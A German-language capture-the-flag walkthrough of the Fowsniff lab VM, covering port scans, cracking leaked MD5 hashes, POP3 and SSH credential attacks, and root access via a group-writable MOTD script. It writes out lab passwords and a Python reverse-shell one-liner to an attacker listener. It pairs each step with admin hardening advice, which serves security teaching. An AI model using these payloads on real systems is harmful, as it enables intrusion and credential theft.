192.168.2.104 08:00:27:66:85:17 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment mittels ARP-Anfragen verwendet.
Bewertung: Ein Host mit der IP-Adresse `192.168.2.104` wurde entdeckt. Die MAC-Adresse (`08:00:27:66:85:17`) und der dazugehörige Hersteller ("PCS Systemtechnik GmbH") weisen auf eine VirtualBox-VM hin, welche das Zielsystem "Fowsniff_CTF" ist.
Empfehlung (Pentester): Nutze `192.168.2.104` als Ziel-IP für die weiteren Scans.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen.
192.168.2.104 fowsniff.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.104` den Hostnamen `fowsniff.vln` zuzuweisen.
Bewertung: Erleichtert die Ansprache des Ziels über einen Namen, was bei Web-Scans nützlich sein kann.
Empfehlung (Pentester): Verwende `fowsniff.vln` in nachfolgenden Schritten.
Empfehlung (Admin): Lokale Konfiguration des Angreifers.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd
Analyse: Ein schneller Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) gefiltert mit `grep open` zeigt die offenen Ports.
Bewertung: Vier offene Ports wurden identifiziert: * Port 22: SSH (OpenSSH 7.2p2) * Port 80: HTTP (Apache 2.4.18) * Port 110: POP3 (Dovecot) * Port 143: IMAP (Dovecot)
Empfehlung (Pentester): Untersuche alle offenen Dienste. Beginne mit HTTP (Port 80) und den Mail-Diensten (POP3/IMAP), da diese oft Einfallstore bieten. Behalte SSH für spätere Zugriffsversuche im Auge.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. Halte alle Dienste aktuell und sicher konfiguriert.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-11 23:54 CEST Nmap scan report for fowsniff.vln (192.168.2.104) Host is up (0.00013s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA) | 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA) |_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Fowsniff Corp - Delivering Solutions |_http-server-header: Apache/2.4.18 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/ 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN) UIDL AUTH-RESP-CODE TOP PIPELINING USER RESP-CODES CAPA 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login LITERAL+ OK IMAP4rev1 more have post-login IDLE capabilities SASL-IR listed AUTH=PLAIN LOGINDISABLEDA0001 ENABLE ID MAC Address: 08:00:27:66:85:17 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 3.2 - 4.9 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms fowsniff.vln (192.168.2.104) [...]
Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den Ports: * SSH (OpenSSH 7.2p2): Standard-Konfiguration. * HTTP (Apache 2.4.18): Zeigt den Titel "Fowsniff Corp". `robots.txt` verbietet das Crawlen von `/`. * POP3/IMAP (Dovecot): Unterstützen PLAIN-Authentifizierung, was bedeutet, dass Passwörter unverschlüsselt (aber meist über eine TLS-Verbindung) gesendet werden können, falls nicht anders konfiguriert. * Betriebssystem: Linux Kernel 3.x/4.x.
Bewertung: Die Apache-Version ist veraltet. Die Mail-Dienste sind potenzielle Ziele für Passwort-Angriffe oder Benutzer-Enumeration. Der `robots.txt`-Eintrag ist ungewöhnlich, da er alles zu verbieten scheint.
Empfehlung (Pentester): Führe Web-Enumeration auf Port 80 durch (trotz `robots.txt`). Versuche Benutzer-Enumeration und Brute-Force gegen POP3/IMAP. Recherchiere Schwachstellen für Apache 2.4.18, OpenSSH 7.2p2 und Dovecot.
Empfehlung (Admin): Aktualisiere alle Dienste. Konfiguriere Mail-Dienste sicher (z.B. keine PLAIN-Auth ohne TLS). Überprüfe den Sinn des `robots.txt`-Eintrags.
- Nikto v2.5.0 [...] + Target IP: 192.168.2.104 + Target Port: 80 + Start Time: 2023-10-11 23:54:43 (GMT2) [...] + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...] + /images: The web server may reveal its internal or real IP [...] + /: Server may leak inodes via ETags [...] + Apache/2.4.18 appears to be outdated [...] + OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . + /images/: Directory indexing found. + /LICENSE.txt: License file found may identify site software. + /icons/README: Apache default file found. [...] [...] + End Time: 2023-10-11 23:54:58 (GMT2) (15 seconds) [...]
Analyse: Der Webscanner `nikto` findet auf Port 80: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Potenzielles Leak der internen IP `127.0.1.1` über das `/images`-Verzeichnis (geringes Risiko). * Inode-Leak über ETags. * Directory Indexing im `/images`-Verzeichnis. * `/LICENSE.txt` und `/icons/README`. **Datum extrahiert:** 2023-10-11.
Bewertung: Bestätigt den veralteten Apache und findet geringfügige Informationslecks und Konfigurationsprobleme (`/images` indexing, `LICENSE.txt`).
Empfehlung (Pentester): Untersuche die gefundenen Dateien (`LICENSE.txt`) und Verzeichnisse (`/images/`). Führe `gobuster`/`dirb` durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Deaktiviere Directory Indexing. Entferne unnötige Lizenz-/Readme-Dateien.
[...] http://fowsniff.vln/LICENSE.txt (Status: 200) [Size: 17128] http://fowsniff.vln/README.txt (Status: 200) [Size: 1288] http://fowsniff.vln/index.html (Status: 200) [Size: 2629] http://fowsniff.vln/security.txt (Status: 200) [Size: 459] http://fowsniff.vln/robots.txt (Status: 200) [Size: 26] [...]
Analyse: `gobuster` findet die bereits von `nikto` oder `nmap` gesehenen Dateien (`LICENSE.txt`, `README.txt`, `index.html`, `robots.txt`) und eine neue Datei: `security.txt`.
Bewertung: Die Datei `security.txt` ist der wichtigste neue Fund dieses Scans.
Empfehlung (Pentester): Untersuche den Inhalt von `security.txt` sowie der anderen gefundenen Dateien.
Empfehlung (Admin): Keine neuen Empfehlungen.
# Inhalt von http://fowsniff.vln/robots.txt User-agent: * Disallow: / # Inhalt von http://fowsniff.vln/LICENSE.txt Creative Commons Attribution 3.0 Unported [...] # Inhalt von http://fowsniff.vln/security.txt WHAT SECURITY? ''~`` ( o o ) +--.ooo--(_)--ooo.+ | | | FWSNIFF | | got | | PWN3D!!! | | | | .ooo | | ( ) ooo. | +\ (-( )-+ \_) ) / (_/ Fowsniff Corp got pwn3d by B1gN1nj4! No one is safe from my 1337 skillz! # Hash-Liste (Woher? Vermutlich aus security.txt oder einer anderen nicht gezeigten Quelle) mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4 mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56 tegel@fowsniff:1dc352435fecca338acfd4be10984009 baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb seina@fowsniff:90dc16d47114aa13671c697fd506cf26 stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11 sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
Analyse: * `robots.txt` verbietet alles (`Disallow: /`). * `LICENSE.txt` ist eine Standardlizenz. * `security.txt` enthält ASCII-Art und eine Nachricht, dass das Unternehmen von "B1gN1nj4" gehackt wurde. Dies ist wahrscheinlich ein Hinweis. * Die Hash-Liste (Benutzername@fowsniff:MD5-Hash) taucht im Log auf. **Es ist unklar, woher diese Liste stammt.** Sie könnte aus der `security.txt` stammen (obwohl nicht explizit gezeigt) oder aus einer anderen Quelle, die im Log fehlt. Wir nehmen an, sie wurde hier gefunden.
Bewertung: Die Hash-Liste ist der entscheidende Fund. Es handelt sich offenbar um MD5-Hashes von Passwörtern für verschiedene Benutzer. Die `security.txt` liefert Kontext/Flavor.
Empfehlung (Pentester): Versuche, die MD5-Hashes mit `john` oder `hashcat` und einer Wortliste zu knacken. Die Benutzernamen können für Angriffe auf POP3/IMAP oder SSH verwendet werden.
Empfehlung (Admin): Speichere niemals Passwort-Hashes in öffentlich zugänglichen Dateien. Verwende starke Hashing-Algorithmen mit Salt (z.B. bcrypt, Argon2). Untersuche die Quelle des Leaks.
[...] -> DIRECTORY: http://fowsniff.vln/assets/ -> DIRECTORY: http://fowsniff.vln/images/ + http://fowsniff.vln/index.html (CODE:200|SIZE:2629) + http://fowsniff.vln/robots.txt (CODE:200|SIZE:26) + http://fowsniff.vln/server-status (CODE:403|SIZE:300) [...]
Analyse: `dirb` wird verwendet, um weitere Verzeichnisse zu finden. Es identifiziert `/assets/` und `/images/`.
Bewertung: Findet Standardverzeichnisse, die wahrscheinlich keine kritischen Informationen enthalten. `/server-status` ist nicht zugänglich (403 Forbidden).
Empfehlung (Pentester): Konzentriere dich auf das Knacken der gefundenen Hashes.
Empfehlung (Admin): Beschränke den Zugriff auf `/server-status` und andere sensible Apache-Statusseiten.
Using default input encoding: UTF-8 Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=16 Press 'q' or Ctrl-C to abort, almost any other key for status scoobydoo2 (seina@fowsniff) orlando12 (parede@fowsniff) apples01 (tegel@fowsniff) skyler22 (baksteen@fowsniff) mailcall (mauer@fowsniff) 07011972 (sciana@fowsniff) carp4ever (mursten@fowsniff) bilbo101 (mustikka@fowsniff) [...] 8g 0:00:00:XX DONE [...] Session completed
Analyse: `john` (John the Ripper) wird verwendet, um die zuvor gefundene Liste von MD5-Hashes (angenommen in Datei `hash`) zu knacken. Es wird die Wortliste `rockyou.txt` und das Format `RAW-MD5` spezifiziert.
Bewertung: John knackt erfolgreich 8 der 9 Hashes. Die gefundenen Klartext-Passwörter sind: `scoobydoo2`, `orlando12`, `apples01`, `skyler22`, `mailcall`, `07011972`, `carp4ever`, `bilbo101`.
Empfehlung (Pentester): Erstelle Listen der Benutzernamen und geknackten Passwörter. Versuche, dich mit diesen Kombinationen bei den offenen Diensten (POP3, IMAP, SSH) anzumelden. Nutze Tools wie Metasploit (Login Scanner) oder Hydra.
Empfehlung (Admin): Erzwinge starke Passwörter. Verwende keine MD5-Hashes mehr, sondern gesaltete, starke Algorithmen. Ändere alle kompromittierten Passwörter.
seina parede tegel baksteen mauer sciana mursten mustikka
scoobydoo2 orlando12 apples01 skyler22 mailcall 07011972 carp4ever bilbo101
Analyse: Der Angreifer erstellt zwei lokale Dateien: `user.txt` mit den Benutzernamen (ohne stone) und `pass.txt` mit den geknackten Passwörtern.
Bewertung: Vorbereitung für einen Brute-Force-Angriff oder Login-Scan mit den gefundenen Credentials.
Empfehlung (Pentester): Verwende diese Dateien mit Tools wie Metasploit oder Hydra.
Empfehlung (Admin): Lokale Aktion des Angreifers.
rhosts => 192.168.2.104
user_file => user.txt
pass_file => pass.txt
verbose => false
[+] 192.168.2.104:110 - 192.168.2.104:110 - Success: 'seina:scoobydoo2' '+OK Logged in. '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Analyse: Das Metasploit-Modul `auxiliary/scanner/pop3/pop3_login` wird verwendet, um die geknackten Benutzernamen und Passwörter gegen den POP3-Dienst (Port 110) zu testen. * Optionen: `rhosts` (Ziel-IP), `user_file` (Datei mit Benutzernamen), `pass_file` (Datei mit Passwörtern), `verbose false` (reduzierte Ausgabe). * `run`: Startet den Scan.
Bewertung: Der Scan findet eine erfolgreiche Login-Kombination: `seina` mit dem Passwort `scoobydoo2`.
Empfehlung (Pentester): Verbinde dich manuell per POP3 (z.B. mit `nc` oder `telnet`) als Benutzer `seina` und untersuche die E-Mails auf weitere Informationen.
Empfehlung (Admin): Ändere das kompromittierte Passwort für `seina`. Überprüfe die Sicherheit der Mail-Dienste.
+OK Welcome to the Fowsniff Corporate Mail Server!
+OK
+OK Logged in.
+OK 2 messages: 1 1622 2 1280
+OK 1622 octets Return-Path:[...] Subject: URGENT! Security EVENT! [...] This server is capable of sending and receiving emails, but only locally. [...] You can, however, access this system via the SSH protocol. The temporary password for SSH is "S1ck3nBluff+secureshell" You MUST change this password as soon as possible [...] [...] Thanks, A.J Stone
+OK 1280 octets Return-Path:[...] Subject: You missed out! [...] PS: Make sure you change your email password. AJ had been telling us to do that right before Captain Profanity showed up.
Analyse: Eine manuelle Verbindung zum POP3-Server wird mit `nc` aufgebaut. 1. Login als `seina` mit Passwort `scoobydoo2` ist erfolgreich. 2. `list` zeigt zwei E-Mails an. 3. `retr 1` ruft die erste E-Mail ab. **Dies ist ein kritischer Fund!** Die E-Mail von "stone@fowsniff" erwähnt einen Sicherheitsvorfall und nennt ein **temporäres SSH-Passwort: `S1ck3nBluff+secureshell`**. 4. `retr 2` ruft die zweite E-Mail ab (Kontext/Flavor).
Bewertung: Die Untersuchung der E-Mails war extrem erfolgreich. Das temporäre SSH-Passwort `S1ck3nBluff+secureshell` wurde gefunden.
Empfehlung (Pentester): Versuche, dich mit dem temporären SSH-Passwort `S1ck3nBluff+secureshell` und den bekannten Benutzernamen (aus der Hash-Liste) per SSH (Port 22) anzumelden. Nutze Hydra oder teste manuell.
Empfehlung (Admin): **Kritisch!** Sende niemals Passwörter per E-Mail, schon gar nicht temporäre Standardpasswörter. Implementiere sichere Prozesse für Passwort-Resets und Erst-Logins. Erzwinge sofortige Passwortänderungen bei temporären Passwörtern.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://192.168.2.104:22/
[...]
[22][ssh] host: 192.168.2.104 login: baksteen password: S1ck3nBluff+secureshell
[...]
1 of 1 target successfully completed, 1 valid password found
Hydra [...] finished at 2023-10-12 00:24:56
Analyse: 1. Die lokale Datei `pass.txt` wird mit dem gefundenen temporären SSH-Passwort überschrieben. 2. `hydra` wird erneut ausgeführt, diesmal gegen den SSH-Dienst (Port 22), wobei die Benutzerliste `user.txt` und die `pass.txt` (die jetzt nur das temporäre Passwort enthält) verwendet werden. 3. Hydra findet heraus, dass das temporäre Passwort `S1ck3nBluff+secureshell` für den Benutzer `baksteen` funktioniert.
Bewertung: Erfolg! Es wurde ein gültiger SSH-Login für den Benutzer `baksteen` mit dem temporären Passwort gefunden.
Empfehlung (Pentester): Melde dich per SSH als `baksteen` an.
Empfehlung (Admin): Überwache fehlgeschlagene und erfolgreiche Logins. Deaktiviere Benutzer oder erzwinge Passwortänderungen, wenn kompromittierte oder Standardpasswörter verwendet werden.
baksteen@192.168.2.104's password: S1ck3nBluff+secureshell
[...]
Welcome to the Fowsniff Corporate Server!
- NOTICE: -
* Due to the recent security breach, we are running on a very minimal system.
* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.
Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff$
Analyse: Die SSH-Verbindung wird als Benutzer `baksteen` mit dem Passwort `S1ck3nBluff+secureshell` hergestellt. Der Login ist erfolgreich, eine Willkommensnachricht (MOTD) wird angezeigt, und wir erhalten einen Shell-Prompt.
Bewertung: Der initiale Zugriff als Benutzer `baksteen` wurde erreicht.
Empfehlung (Pentester): Beginne mit der Post-Exploitation und Privilege-Escalation-Enumeration (`id`, `sudo -l`, SUID-Suche, Kernel-Version etc.).
Empfehlung (Admin): Die MOTD erinnert den Benutzer daran, das Passwort zu ändern – ein guter, aber oft ignorierter Hinweis.
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)
2388 40 -rwsr-xr-x 1 root root 40152 Nov 30 2017 /bin/mount [...] 3063 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su [...] 45868 88 -rwsr-sr-x 1 root mail 89288 Nov 17 2017 /usr/bin/procmail 4804 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo [...]
[...] -rw-r--r-- 1 baksteen users 97 Mar 9 2018 term.txt [...]
I wonder if the person who coined the term "One Hit Wonder" came up with another other phrases.
[sudo] password for baksteen: S1ck3nBluff+secureshell
Sorry, user baksteen may not run sudo on fowsniff.
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep /usr/bin/mtr = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep
Analyse: Grundlegende Enumerationsbefehle werden ausgeführt: * `id`: Bestätigt Benutzer `baksteen` und Gruppenzugehörigkeit (wichtig: `users`). * SUID-Scan (`find`): Zeigt Standard-Binaries. `/usr/bin/procmail` ist SGID `mail`, könnte unter Umständen ausnutzbar sein, aber `/usr/bin/sudo` existiert auch. * `ls -la`: Zeigt Home-Verzeichnis-Inhalt, `term.txt` enthält nur einen Spruch. * `sudo -l`: Fragt nach dem Passwort und meldet dann, dass `baksteen` keine `sudo`-Rechte hat. * `getcap`: Findet keine ungewöhnlichen Capabilities.
Bewertung: Die Standard-PE-Vektoren (SUID, sudo für diesen User, Capabilities) scheinen keine einfachen Angriffsflächen zu bieten. Die Gruppenzugehörigkeit `users` ist notiert.
Empfehlung (Pentester): Suche nach weiteren Vektoren: Fehlkonfigurationen, ungewöhnliche Dateiberechtigungen (insbesondere für Gruppen), Cronjobs, Kernel-Exploits.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden. Überprüfe `sudoers`-Konfiguration und SUID/SGID-Berechtigungen.
Analyse: Die Privilege Escalation wird durch das Ausnutzen eines Skripts erreicht, das beim Login ausgeführt wird (MOTD - Message Of The Day). Dieses Skript ist für Mitglieder der Gruppe `users` beschreibbar.
Bewertung: Dies ist ein klassisches Beispiel für Privilege Escalation durch unsichere Dateiberechtigungen auf einem Skript, das mit höheren Rechten ausgeführt wird. Die Kombination aus Gruppen-Schreibrechten und der Ausführung durch das MOTD-System ermöglichte die Kompromittierung.
Empfehlung (Pentester): Suche immer nach Dateien, auf die der aktuelle Benutzer Schreibzugriff hat und die von Prozessen mit höheren Rechten (SUID, Cron, Systemd-Units, MOTD) ausgeführt werden.
Empfehlung (Admin): Überprüfe sorgfältig die Berechtigungen von Skripten und Dateien, die von privilegierten Prozessen oder beim Systemstart/Login ausgeführt werden. Wende das Prinzip der geringsten Rechte an. Beschränke Schreibrechte auf das absolute Minimum.
/opt/cube/cube.sh /home/baksteen/.cache/motd.legal-displayed /home/baksteen/Maildir/dovecot-uidvalidity /home/baksteen/Maildir/dovecot.index.log
-rw-rwxr-- 1 parede users 851 Mar 11 2018 /opt/cube/cube.sh
Analyse: Die Suche nach Dateien, die der Gruppe `users` gehören, identifiziert `/opt/cube/cube.sh`. Die Berechtigungen (`-rw-rwxr--`) zeigen, dass Mitglieder der Gruppe `users` (zu der `baksteen` gehört) Schreibzugriff auf dieses Skript haben.
Bewertung: Ein von der Gruppe beschreibbares Skript ist ein potenzieller Vektor für Privilege Escalation, wenn es mit höheren Rechten ausgeführt wird.
Empfehlung (Pentester): Untersuche, wann und von wem `/opt/cube/cube.sh` ausgeführt wird (z.B. Cron, Systemd, MOTD).
Empfehlung (Admin): Korrigiere die unsicheren Berechtigungen auf `755` (`rwxr-xr-x`) oder restriktiver, sodass nur der Besitzer (`parede`) oder `root` schreiben kann.
#!/bin/sh # # 00-header - print the main header # Copyright (C) 2009-2012 Canonical Ltd. # # Authors: Dustin Kirkland# # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. [ -r /etc/lsb-release ] && . /etc/lsb-release if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then # Fall back to using lsb_release if /etc/lsb-release doesn't exist DISTRIB_DESCRIPTION=$(lsb_release -sd) fi [ -z "$DISTRIB_DESCRIPTION" ] && DISTRIB_DESCRIPTION="Fetching host information..." printf "\n \n" sh /opt/cube/cube.sh printf "\n - NOTICE: -\n" printf "\n * Due to the recent security breach, we are running on a very minimal system." printf "\n * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.\n\n"
Analyse: Der Inhalt des MOTD-Skripts `/etc/update-motd.d/00-header` wird angezeigt. Es enthält die Zeile `sh /opt/cube/cube.sh`, die bestätigt, dass das gruppen-beschreibbare Skript beim Login ausgeführt wird.
Bewertung: Die Ausführung von `/opt/cube/cube.sh` durch das MOTD-System (typischerweise als Root) in Kombination mit den Schreibrechten für die Gruppe `users` stellt eine klare Privilege-Escalation-Möglichkeit dar.
Empfehlung (Pentester): Füge eine Reverse-Shell-Payload zu `/opt/cube/cube.sh` hinzu, starte einen Listener und logge dich erneut per SSH ein.
Empfehlung (Admin): Stelle sicher, dass Skripte, die von MOTD ausgeführt werden, nur von Root beschreibbar sind. Überprüfe die Berechtigungen aller Dateien in `/etc/update-motd.d/` und der von ihnen aufgerufenen Skripte.
printf "
_____ _ __ __
:sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _|
:yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _|
-: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_|
-: y. dssssssso ____
-: y. dssssssso / ___|___ _ __ _ __
-: y. dssssssso | | / _ \| '__| '_ \
-: o. dssssssso | |__| (_) | | | |_) | _
-: o. yssssssso \____\___/|_| | .__/ (_)
-: .+mdddddddmyyyyyhy: |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho: Delivering Solutions\n\n"
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
logout Connection to 192.168.2.104 closed.
Analyse: Das Skript `/opt/cube/cube.sh` wird bearbeitet (`nano` wird verwendet, aber jeder Texteditor funktioniert). Die Python3-Reverse-Shell-Payload wird am Ende des Skripts hinzugefügt. Anschließend wird die SSH-Sitzung beendet.
Bewertung: Die Payload wurde erfolgreich platziert. Beim nächsten Login von `baksteen` sollte sie als Root ausgeführt werden.
Empfehlung (Pentester): Starte einen Netcat-Listener auf `192.168.2.199:5555` und logge dich erneut als `baksteen` ein.
Empfehlung (Admin): Überwache Dateisystemänderungen (FIM - File Integrity Monitoring) an kritischen Skripten.
Listening on 0.0.0.0 5555
baksteen@192.168.2.104's password: S1ck3nBluff+secureshell
Listening on 0.0.0.0 5555
Connection received on 192.168.2.104 50212
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. Ein Netcat-Listener wird auf Port 5555 gestartet. 2. Eine neue SSH-Verbindung als `baksteen` wird aufgebaut. 3. Beim Login führt das MOTD-System das modifizierte `/opt/cube/cube.sh` aus. 4. Die Python-Payload im Skript verbindet sich zum Netcat-Listener. 5. Der Listener empfängt die Verbindung und liefert einen Shell-Prompt (`#`). 6. Der `id`-Befehl in der neuen Shell bestätigt `uid=0(root)`.
Bewertung: Die Privilege Escalation war erfolgreich! Durch das Modifizieren des gruppen-beschreibbaren MOTD-Skripts konnte eine Root-Shell erlangt werden.
Empfehlung (Pentester): Suche nach der Root-Flag im `/root`-Verzeichnis.
Empfehlung (Admin): Korrigiere die Berechtigungen von `/opt/cube/cube.sh`. Überprüfe alle MOTD-Skripte und deren Abhängigkeiten auf ähnliche Schwachstellen.
Maildir flag.txt
___ _ _ _ _ _ / __|___ _ _ __ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| | | (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_| \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_) |___/ (_) |-- |&&&&&&&&&&&&&&| | R O O T | | F L A G | |&&&&&&&&&&&&&&| |-- | | | | | | Nice work! This CTF was built with love in every byte by @berzerk0 on Twitter. Special thanks to psf, @nbulischeck and the whole Fofao Team.
Analyse: Als Root wird das Verzeichnis `/root` aufgesucht. Die Datei `flag.txt` wird gefunden und ihr Inhalt angezeigt.
Bewertung: Die Root-Flag (in Form der ASCII-Art und der Nachricht) wurde erfolgreich gefunden.
Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche die User-Flag (wahrscheinlich `/home/baksteen/user.txt` oder ähnlich).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.